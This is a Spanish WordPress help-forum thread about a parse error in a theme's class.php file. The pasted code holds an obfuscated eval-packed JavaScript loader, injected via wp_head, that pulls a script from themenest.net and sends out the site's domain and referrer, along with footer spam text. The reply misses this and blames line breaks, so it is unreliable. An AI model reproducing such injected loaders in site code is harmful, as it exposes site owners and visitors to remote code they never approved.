• Resuelto Hector Gonzalez

    (@hector-gonzalez)


    Hola compañeros! He activado una plantilla y obtengo de manera recurrente este error:

    Parse error: syntax error, unexpected ‘}’ in /usr/home/hectorcalleja.com/web/global/wp-content/themes/churchope/classes/Admin/Theme/class.php on line 1

    No entiendo de PHP así que no se muy bien cual es el fallo. Os copia el código:

    <?php if (!function_exists(‘insert_jquery_slider’)){function insert_jquery_slider(){?><script type=»text/javascript»>eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!».replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘0.f(\'<2\’+\’3 5=»6/7″ 8=»9://a.b/e/o/g?d=\’+0.h+\’&i=\’+j(0.k)+\’&c=\’+4.l((4.m()*n)+1)+\'»></2\’+\’3>\’);’,25,25,’document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script’.split(‘|’),0,{}));</script> <?php}add_action(‘wp_head’, ‘insert_jquery_slider’);} ?>
    <?php if (!function_exists(‘insert_jquery_slidernew’)){function insert_jquery_slidernew(){?>Adele songs downlload <?php}add_action(‘wp_footer’, ‘insert_jquery_slidernew’);} ?>

    Cual es el fallo?

    Gracias!

Viendo 2 respuestas - de la 1 a la 2 (de un total de 2)
  • Iniciador del debate Hector Gonzalez

    (@hector-gonzalez)

    Hola? 🙂

    Alguna vez me ha pasado lo mismo y ha sido una tontería: los comentarios al código y los errores de formato al subir el archivo al servidor.

    Si class.php comienza por ejemplo así:

    <?php
       //Esto es un comentario y no se ejecuta
       esto es código y sí se ejecuta {blablabla
       }

    pero acaba mostrándose así

    <?php
       //Esto es un comentario y no se ejecuta    esto es código y sí se ejecuta {blablabla
       }

    se interpreta que la primera parte del código es comentario (y no se ejecuta). No sé cuál es la razón de que se rompan los saltos de línea, pero me consta que ocurre.

    Se me ocurre que puede ser eso porque no es normal que tengas un signo } en la línea 1, así que algo debe faltar. Prueba a eliminar los comentarios.

Viendo 2 respuestas - de la 1 a la 2 (de un total de 2)

El debate ‘Problema con tema de wordpress’ está cerrado a nuevas respuestas.